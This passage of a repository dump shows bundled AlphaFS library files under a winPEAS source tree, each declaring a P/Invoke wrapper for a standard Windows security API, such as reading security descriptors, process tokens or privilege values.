[SuppressMessage(\"Microsoft.Security\", \"CA2118:ReviewSuppressUnmanagedCodeSecurityUsage\"), SuppressMessage(\"Microsoft.Security\", \"CA5122:PInvokesShouldNotBeSafeCriticalFxCopRule\")]\n      [DllImport(\"advapi32.dll\", SetLastError = true, CharSet = CharSet.Unicode), SuppressUnmanagedCodeSecurity]\n      [return: MarshalAs(UnmanagedType.Bool)]\n      internal static extern bool GetSecurityDescriptorControl(SafeGlobalMemoryBufferHandle pSecurityDescriptor, out SECURITY_DESCRIPTOR_CONTROL pControl, out uint lpdwRevision);\n   }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Security/Native Methods/NativeMethods.GetSecurityDescriptorDacl.cs",
    "content": "/*  Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov\n *  \n *  Permission is hereby granted, free of charge, to any person obtaining a copy \n *  of this software and associated documentation files (the \"Software\"), to deal \n *  in the Software without restriction, including without limitation the rights \n *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \n *  copies of the Software, and to permit persons to whom the Software is \n *  furnished to do so, subject to the following conditions:\n *  \n *  The above copyright notice and this permission notice shall be included in \n *  all copies or substantial portions of the Software.\n *  \n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, \n *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN \n *  THE SOFTWARE. \n */\n\nusing System;\nusing System.Diagnostics.CodeAnalysis;\nusing System.Runtime.InteropServices;\nusing System.Security;\n\nnamespace Alphaleonis.Win32.Security\n{\n   internal static partial class NativeMethods\n   {\n      /// <summary>The GetSecurityDescriptorDacl function retrieves a pointer to the discretionary access control list (DACL) in a specified security descriptor.</summary>\n      /// <returns>\n      /// If the function succeeds, the function returns nonzero.\n      /// If the function fails, it returns zero. To get extended error information, call GetLastError.\n      /// </returns>\n      /// <remarks>Minimum supported client: Windows XP [desktop apps only]</remarks>\n      /// <remarks>Minimum supported server: Windows Server 2003 [desktop apps only]</remarks>\n      [SuppressMessage(\"Microsoft.Security\", \"CA2118:ReviewSuppressUnmanagedCodeSecurityUsage\"), SuppressMessage(\"Microsoft.Security\", \"CA5122:PInvokesShouldNotBeSafeCriticalFxCopRule\")]\n      [DllImport(\"advapi32.dll\", SetLastError = true, CharSet = CharSet.Unicode), SuppressUnmanagedCodeSecurity]\n      [return: MarshalAs(UnmanagedType.Bool)]\n      internal static extern bool GetSecurityDescriptorDacl(SafeGlobalMemoryBufferHandle pSecurityDescriptor, [MarshalAs(UnmanagedType.Bool)] out bool lpbDaclPresent, out IntPtr pDacl, [MarshalAs(UnmanagedType.Bool)] out bool lpbDaclDefaulted);\n   }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Security/Native Methods/NativeMethods.GetSecurityDescriptorGroup.cs",
    "content": "/*  Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov\n *  \n *  Permission is hereby granted, free of charge, to any person obtaining a copy \n *  of this software and associated documentation files (the \"Software\"), to deal \n *  in the Software without restriction, including without limitation the rights \n *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \n *  copies of the Software, and to permit persons to whom the Software is \n *  furnished to do so, subject to the following conditions:\n *  \n *  The above copyright notice and this permission notice shall be included in \n *  all copies or substantial portions of the Software.\n *  \n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, \n *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN \n *  THE SOFTWARE. \n */\n\nusing System;\nusing System.Diagnostics.CodeAnalysis;\nusing System.Runtime.InteropServices;\nusing System.Security;\n\nnamespace Alphaleonis.Win32.Security\n{\n   internal static partial class NativeMethods\n   {\n      /// <summary>The GetSecurityDescriptorGroup function retrieves the primary group information from a security descriptor.</summary>\n      /// <returns>\n      /// If the function succeeds, the function returns nonzero.\n      /// If the function fails, it returns zero. To get extended error information, call GetLastError.\n      /// </returns>\n      /// <remarks>Minimum supported client: Windows XP [desktop apps only]</remarks>\n      /// <remarks>Minimum supported server: Windows Server 2003 [desktop apps only]</remarks>\n      [SuppressMessage(\"Microsoft.Security\", \"CA2118:ReviewSuppressUnmanagedCodeSecurityUsage\"), SuppressMessage(\"Microsoft.Security\", \"CA5122:PInvokesShouldNotBeSafeCriticalFxCopRule\")]\n      [DllImport(\"advapi32.dll\", SetLastError = true, CharSet = CharSet.Unicode), SuppressUnmanagedCodeSecurity]\n      [return: MarshalAs(UnmanagedType.Bool)]\n      internal static extern bool GetSecurityDescriptorGroup(SafeGlobalMemoryBufferHandle pSecurityDescriptor, out IntPtr pGroup, [MarshalAs(UnmanagedType.Bool)] out bool lpbGroupDefaulted);\n   }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Security/Native Methods/NativeMethods.GetSecurityDescriptorLength.cs",
    "content": "/*  Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov\n *  \n *  Permission is hereby granted, free of charge, to any person obtaining a copy \n *  of this software and associated documentation files (the \"Software\"), to deal \n *  in the Software without restriction, including without limitation the rights \n *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \n *  copies of the Software, and to permit persons to whom the Software is \n *  furnished to do so, subject to the following conditions:\n *  \n *  The above copyright notice and this permission notice shall be included in \n *  all copies or substantial portions of the Software.\n *  \n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, \n *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN \n *  THE SOFTWARE. \n */\n\nusing System.Diagnostics.CodeAnalysis;\nusing System.Runtime.InteropServices;\nusing System.Security;\n\nnamespace Alphaleonis.Win32.Security\n{\n   internal static partial class NativeMethods\n   {\n      /// <summary>The GetSecurityDescriptorLength function returns the length, in bytes, of a structurally valid security descriptor. The length includes the length of all associated structures.</summary>\n      /// <returns>\n      /// If the function succeeds, the function returns the length, in bytes, of the SECURITY_DESCRIPTOR structure.\n      /// If the SECURITY_DESCRIPTOR structure is not valid, the return value is undefined.\n      /// </returns>\n      /// <remarks>Minimum supported client: Windows XP [desktop apps only]</remarks>\n      /// <remarks>Minimum supported server: Windows Server 2003 [desktop apps only]</remarks>\n      [SuppressMessage(\"Microsoft.Security\", \"CA2118:ReviewSuppressUnmanagedCodeSecurityUsage\"), SuppressMessage(\"Microsoft.Security\", \"CA5122:PInvokesShouldNotBeSafeCriticalFxCopRule\")]\n      [DllImport(\"advapi32.dll\", SetLastError = true, CharSet = CharSet.Unicode), SuppressUnmanagedCodeSecurity]\n      [return: MarshalAs(UnmanagedType.U4)]\n      internal static extern uint GetSecurityDescriptorLength(SafeGlobalMemoryBufferHandle pSecurityDescriptor);\n   }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Security/Native Methods/NativeMethods.GetSecurityDescriptorOwner.cs",
    "content": "/*  Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov\n *  \n *  Permission is hereby granted, free of charge, to any person obtaining a copy \n *  of this software and associated documentation files (the \"Software\"), to deal \n *  in the Software without restriction, including without limitation the rights \n *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \n *  copies of the Software, and to permit persons to whom the Software is \n *  furnished to do so, subject to the following conditions:\n *  \n *  The above copyright notice and this permission notice shall be included in \n *  all copies or substantial portions of the Software.\n *  \n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, \n *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN \n *  THE SOFTWARE. \n */\n\nusing System;\nusing System.Diagnostics.CodeAnalysis;\nusing System.Runtime.InteropServices;\nusing System.Security;\n\nnamespace Alphaleonis.Win32.Security\n{\n   internal static partial class NativeMethods\n   {\n      /// <summary>The GetSecurityDescriptorOwner function retrieves the owner information from a security descriptor.</summary>\n      /// <returns>\n      /// If the function succeeds, the function returns nonzero.\n      /// If the function fails, it returns zero. To get extended error information, call GetLastError.\n      /// </returns>\n      /// <remarks>Minimum supported client: Windows XP [desktop apps only]</remarks>\n      /// <remarks>Minimum supported server: Windows Server 2003 [desktop apps only]</remarks>\n      [SuppressMessage(\"Microsoft.Security\", \"CA2118:ReviewSuppressUnmanagedCodeSecurityUsage\"), SuppressMessage(\"Microsoft.Security\", \"CA5122:PInvokesShouldNotBeSafeCriticalFxCopRule\")]\n      [DllImport(\"advapi32.dll\", SetLastError = true, CharSet = CharSet.Unicode), SuppressUnmanagedCodeSecurity]\n      [return: MarshalAs(UnmanagedType.Bool)]\n      internal static extern bool GetSecurityDescriptorOwner(SafeGlobalMemoryBufferHandle pSecurityDescriptor, out IntPtr pOwner, [MarshalAs(UnmanagedType.Bool)] out bool lpbOwnerDefaulted);\n   }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Security/Native Methods/NativeMethods.GetSecurityDescriptorSacl.cs",
    "content": "/*  Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov\n *  \n *  Permission is hereby granted, free of charge, to any person obtaining a copy \n *  of this software and associated documentation files (the \"Software\"), to deal \n *  in the Software without restriction, including without limitation the rights \n *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \n *  copies of the Software, and to permit persons to whom the Software is \n *  furnished to do so, subject to the following conditions:\n *  \n *  The above copyright notice and this permission notice shall be included in \n *  all copies or substantial portions of the Software.\n *  \n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, \n *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN \n *  THE SOFTWARE. \n */\n\nusing System;\nusing System.Diagnostics.CodeAnalysis;\nusing System.Runtime.InteropServices;\nusing System.Security;\n\nnamespace Alphaleonis.Win32.Security\n{\n   internal static partial class NativeMethods\n   {\n      /// <summary>The GetSecurityDescriptorSacl function retrieves a pointer to the system access control list (SACL) in a specified security descriptor.</summary>\n      /// <returns>\n      /// If the function succeeds, the function returns nonzero.\n      /// If the function fails, it returns zero. To get extended error information, call GetLastError.\n      /// </returns>\n      /// <remarks>Minimum supported client: Windows XP [desktop apps only]</remarks>\n      /// <remarks>Minimum supported server: Windows Server 2003 [desktop apps only]</remarks>\n      [SuppressMessage(\"Microsoft.Security\", \"CA2118:ReviewSuppressUnmanagedCodeSecurityUsage\"), SuppressMessage(\"Microsoft.Security\", \"CA5122:PInvokesShouldNotBeSafeCriticalFxCopRule\")]\n      [DllImport(\"advapi32.dll\", SetLastError = true, CharSet = CharSet.Unicode), SuppressUnmanagedCodeSecurity]\n      [return: MarshalAs(UnmanagedType.Bool)]\n      internal static extern bool GetSecurityDescriptorSacl(SafeGlobalMemoryBufferHandle pSecurityDescriptor, [MarshalAs(UnmanagedType.Bool)] out bool lpbSaclPresent, out IntPtr pSacl, [MarshalAs(UnmanagedType.Bool)] out bool lpbSaclDefaulted);\n   }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Security/Native Methods/NativeMethods.GetSecurityInfo.cs",
    "content": "/*  Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov\n *  \n *  Permission is hereby granted, free of charge, to any person obtaining a copy \n *  of this software and associated documentation files (the \"Software\"), to deal \n *  in the Software without restriction, including without limitation the rights \n *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \n *  copies of the Software, and to permit persons to whom the Software is \n *  furnished to do so, subject to the following conditions:\n *  \n *  The above copyright notice and this permission notice shall be included in \n *  all copies or substantial portions of the Software.\n *  \n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, \n *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN \n *  THE SOFTWARE. \n */\n\nusing System;\nusing System.Diagnostics.CodeAnalysis;\nusing System.Runtime.InteropServices;\nusing System.Security;\nusing Microsoft.Win32.SafeHandles;\n\nnamespace Alphaleonis.Win32.Security\n{\n   internal static partial class NativeMethods\n   {\n      /// <summary>The GetSecurityInfo function retrieves a copy of the security descriptor for an object specified by a handle.</summary>\n      /// <returns>\n      /// If the function succeeds, the function returns nonzero.\n      /// If the function fails, it returns zero. To get extended error information, call GetLastError.\n      /// </returns>\n      /// <remarks>Minimum supported client: Windows XP [desktop apps only]</remarks>\n      /// <remarks>Minimum supported server: Windows Server 2003 [desktop apps only]</remarks>\n      [SuppressMessage(\"Microsoft.Security\", \"CA2118:ReviewSuppressUnmanagedCodeSecurityUsage\"), SuppressMessage(\"Microsoft.Security\", \"CA5122:PInvokesShouldNotBeSafeCriticalFxCopRule\")]\n      [DllImport(\"advapi32.dll\", SetLastError = true, CharSet = CharSet.Unicode), SuppressUnmanagedCodeSecurity]\n      [return: MarshalAs(UnmanagedType.U4)]\n      internal static extern uint GetSecurityInfo(SafeFileHandle handle, SE_OBJECT_TYPE objectType, SECURITY_INFORMATION securityInfo, out IntPtr pSidOwner, out IntPtr pSidGroup, out IntPtr pDacl, out IntPtr pSacl, out SafeGlobalMemoryBufferHandle pSecurityDescriptor);\n   }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Security/Native Methods/NativeMethods.GetTokenInformation.cs",
    "content": "/*  Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov\n *  \n *  Permission is hereby granted, free of charge, to any person obtaining a copy \n *  of this software and associated documentation files (the \"Software\"), to deal \n *  in the Software without restriction, including without limitation the rights \n *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \n *  copies of the Software, and to permit persons to whom the Software is \n *  furnished to do so, subject to the following conditions:\n *  \n *  The above copyright notice and this permission notice shall be included in \n *  all copies or substantial portions of the Software.\n *  \n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, \n *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN \n *  THE SOFTWARE. \n */\n\nusing System.Diagnostics.CodeAnalysis;\nusing System.Runtime.InteropServices;\nusing System.Security;\n\nnamespace Alphaleonis.Win32.Security\n{\n   internal static partial class NativeMethods\n   {\n      /// <summary>The GetTokenInformation function retrieves a specified type of information about an access token. The calling process must have appropriate access rights to obtain the information.</summary>\n      /// <returns>\n      /// If the function succeeds, the return value is nonzero.\n      /// If the function fails, the return value is zero. To get extended error information, call GetLastError.\n      /// </returns>\n      /// <remarks>Minimum supported client: Windows XP [desktop apps only]</remarks>\n      /// <remarks>Minimum supported server: Windows Server 2003 [desktop apps only]</remarks>\n      [SuppressMessage(\"Microsoft.Security\", \"CA2118:ReviewSuppressUnmanagedCodeSecurityUsage\"), SuppressMessage(\"Microsoft.Security\", \"CA5122:PInvokesShouldNotBeSafeCriticalFxCopRule\")]\n      [SuppressUnmanagedCodeSecurity]\n      [DllImport(\"advapi32.dll\", SetLastError = true, CharSet = CharSet.Unicode)]\n      [return: MarshalAs(UnmanagedType.Bool)]\n      internal static extern bool GetTokenInformation(SafeTokenHandle tokenHandle, [MarshalAs(UnmanagedType.U4)] TOKEN_INFORMATION_CLASS tokenInformationClass, SafeGlobalMemoryBufferHandle tokenInformation, [MarshalAs(UnmanagedType.U4)] uint tokenInformationLength, [MarshalAs(UnmanagedType.U4)] out uint returnLength);\n   }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Security/Native Methods/NativeMethods.LocalFree.cs",
    "content": "/*  Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov\n *  \n *  Permission is hereby granted, free of charge, to any person obtaining a copy \n *  of this software and associated documentation files (the \"Software\"), to deal \n *  in the Software without restriction, including without limitation the rights \n *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \n *  copies of the Software, and to permit persons to whom the Software is \n *  furnished to do so, subject to the following conditions:\n *  \n *  The above copyright notice and this permission notice shall be included in \n *  all copies or substantial portions of the Software.\n *  \n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, \n *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN \n *  THE SOFTWARE. \n */\n\nusing System;\nusing System.Diagnostics.CodeAnalysis;\nusing System.Runtime.InteropServices;\nusing System.Security;\n\nnamespace Alphaleonis.Win32.Security\n{\n   internal static partial class NativeMethods\n   {\n      /// <summary>Frees the specified local memory object and invalidates its handle.</summary>\n      /// <returns>\n      /// If the function succeeds, the return value is <c>null</c>.\n      /// If the function fails, the return value is equal to a handle to the local memory object. To get extended error information, call GetLastError.\n      /// </returns>\n      /// <remarks>SetLastError is set to <c>false</c>.</remarks>\n      /// <remarks>\n      /// Note  The local functions have greater overhead and provide fewer features than other memory management functions.\n      /// New applications should use the heap functions unless documentation states that a local function should be used.\n      /// For more information, see Global and Local Functions.\n      /// </remarks>\n      /// <remarks>Minimum supported client: Windows XP [desktop apps only]</remarks>\n      /// <remarks>Minimum supported server: Windows Server 2003 [desktop apps only]</remarks>\n      [SuppressMessage(\"Microsoft.Security\", \"CA2118:ReviewSuppressUnmanagedCodeSecurityUsage\"), SuppressMessage(\"Microsoft.Security\", \"CA5122:PInvokesShouldNotBeSafeCriticalFxCopRule\")]\n      [DllImport(\"kernel32.dll\", SetLastError = false, CharSet = CharSet.Unicode), SuppressUnmanagedCodeSecurity]\n      internal static extern IntPtr LocalFree(IntPtr hMem);\n   }\n}"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Security/Native Methods/NativeMethods.LookupPrivilegeDisplayName.cs",
    "content": "/*  Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov\n *  \n *  Permission is hereby granted, free of charge, to any person obtaining a copy \n *  of this software and associated documentation files (the \"Software\"), to deal \n *  in the Software without restriction, including without limitation the rights \n *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \n *  copies of the Software, and to permit persons to whom the Software is \n *  furnished to do so, subject to the following conditions:\n *  \n *  The above copyright notice and this permission notice shall be included in \n *  all copies or substantial portions of the Software.\n *  \n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, \n *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN \n *  THE SOFTWARE. \n */\n\nusing System.Diagnostics.CodeAnalysis;\nusing System.Runtime.InteropServices;\nusing System.Security;\nusing System.Text;\n\nnamespace Alphaleonis.Win32.Security\n{\n   internal static partial class NativeMethods\n   {\n      /// <summary>The LookupPrivilegeDisplayName function retrieves the display name that represents a specified privilege.</summary>\n      /// <returns>\n      /// If the function succeeds, the return value is nonzero.\n      /// If the function fails, it returns zero. To get extended error information, call GetLastError.\n      /// </returns>\n      /// <remarks>Minimum supported client: Windows XP [desktop apps only]</remarks>\n      /// <remarks>Minimum supported server: Windows Server 2003 [desktop apps only]</remarks>\n      [SuppressMessage(\"Microsoft.Security\", \"CA2118:ReviewSuppressUnmanagedCodeSecurityUsage\"), SuppressMessage(\"Microsoft.Security\", \"CA5122:PInvokesShouldNotBeSafeCriticalFxCopRule\")]\n      [DllImport(\"advapi32.dll\", SetLastError = true, CharSet = CharSet.Unicode, EntryPoint = \"LookupPrivilegeDisplayNameW\"), SuppressUnmanagedCodeSecurity]\n      [return: MarshalAs(UnmanagedType.Bool)]\n      internal static extern bool LookupPrivilegeDisplayName([MarshalAs(UnmanagedType.LPWStr)] string lpSystemName, [MarshalAs(UnmanagedType.LPWStr)] string lpName, ref StringBuilder lpDisplayName, ref uint cchDisplayName, out uint lpLanguageId);\n   }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Security/Native Methods/NativeMethods.LookupPrivilegeValue.cs",
    "content": "/*  Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov\n *  \n *  Permission is hereby granted, free of charge, to any person obtaining a copy \n *  of this software and associated documentation files (the \"Software\"), to deal \n *  in the Software without restriction, including without limitation the rights \n *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \n *  copies of the Software, and to permit persons to whom the Software is \n *  furnished to do so, subject to the following conditions:\n *  \n *  The above copyright notice and this permission notice shall be included in \n *  all copies or substantial portions of the Software.\n *  \n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, \n *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN \n *  THE SOFTWARE. \n */\n\nusing System.Diagnostics.CodeAnalysis;\nusing System.Runtime.InteropServices;\nusing System.Security;\n\nnamespace Alphaleonis.Win32.Security\n{\n   internal static partial class NativeMethods\n   {\n      /// <summary>The LookupPrivilegeValue function retrieves the locally unique identifier (LUID) used on a specified system to locally represent the specified privilege name.</summary>\n      /// <returns>\n      /// If the function succeeds, the function returns nonzero.\n      /// If the function fails, it returns zero. To get extended error information, call GetLastError.\n      /// </returns>\n      /// <remarks>Minimum supported client: Windows XP [desktop apps only]</remarks>\n      /// <remarks>Minimum supported server: Windows Server 2003 [desktop apps only]</remarks>\n      [SuppressMessage(\"Microsoft.Security\", \"CA2118:ReviewSuppressUnmanagedCodeSecurityUsage\"), SuppressMessage(\"Microsoft.Security\", \"CA5122:PInvokesShouldNotBeSafeCriticalFxCopRule\")]\n      [DllImport(\"advapi32.dll\", SetLastError = true, CharSet = CharSet.Unicode, EntryPoint = \"LookupPrivilegeValueW\"), SuppressUnmanagedCodeSecurity]\n      [return: MarshalAs(UnmanagedType.Bool)]\n      internal static extern bool LookupPrivilegeValue([MarshalAs(UnmanagedType.LPWStr)] string lpSystemName, [MarshalAs(UnmanagedType.LPWStr)] string lpName, out LUID lpLuid);\n   }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Security/Native Methods/NativeMethods.OpenProcessToken.cs",
    "content": "/*  Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov\n *  \n *  Permission is hereby granted, free of charge, to any person obtaining a copy \n *  of this software and associated documentation files (the \"Software\"), to deal \n *  in the Software without restriction, including without limitation the rights \n *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \n *  copies of the Software, and to permit persons to whom the Software is \n *  furnished to do so, subject to the following conditions:\n *  \n *  The above copyright notice and this permission notice shall be included in \n *  all copies or substantial portions of the Software.\n *  \n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, \n *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN \n *  THE SOFTWARE. \n */\n\nusing System;\nusing System.Diagnostics.CodeAnalysis;\nusing System.Runtime.InteropServices;\nusing System.Security;\n\nnamespace Alphaleonis.Win32.Security\n{\n   internal static partial class NativeMethods\n   {\n      /// <summary>The OpenProcessToken function opens the access token associated with a process.</summary>\n      /// <returns>\n      /// If the function succeeds, the function returns nonzero. \n      /// If the function fails, it returns zero. To get extended error information, call GetLastError.\n      /// </returns>\n      /// <remarks>Minimum supported client: Windows XP [desktop apps only]</remarks>\n      /// <remarks>Minimum supported server: Windows Server 2003 [desktop apps only]</remarks>\n      [SuppressMessage(\"Microsoft.Security\", \"CA2118:ReviewSuppressUnmanagedCodeSecurityUsage\"), SuppressMessage(\"Microsoft.Security\", \"CA5122:PInvokesShouldNotBeSafeCriticalFxCopRule\")]\n      [SuppressUnmanagedCodeSecurity]\n      [DllImport(\"advapi32.dll\", SetLastError = true, CharSet = CharSet.Unicode)]\n      [return: MarshalAs(UnmanagedType.Bool)]\n      internal static extern bool OpenProcessToken(IntPtr processHandle, [MarshalAs(UnmanagedType.U4)] TOKEN desiredAccess, out SafeTokenHandle tokenHandle);\n   }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Security/Native Methods/NativeMethods.SetNamedSecurityInfo.cs",
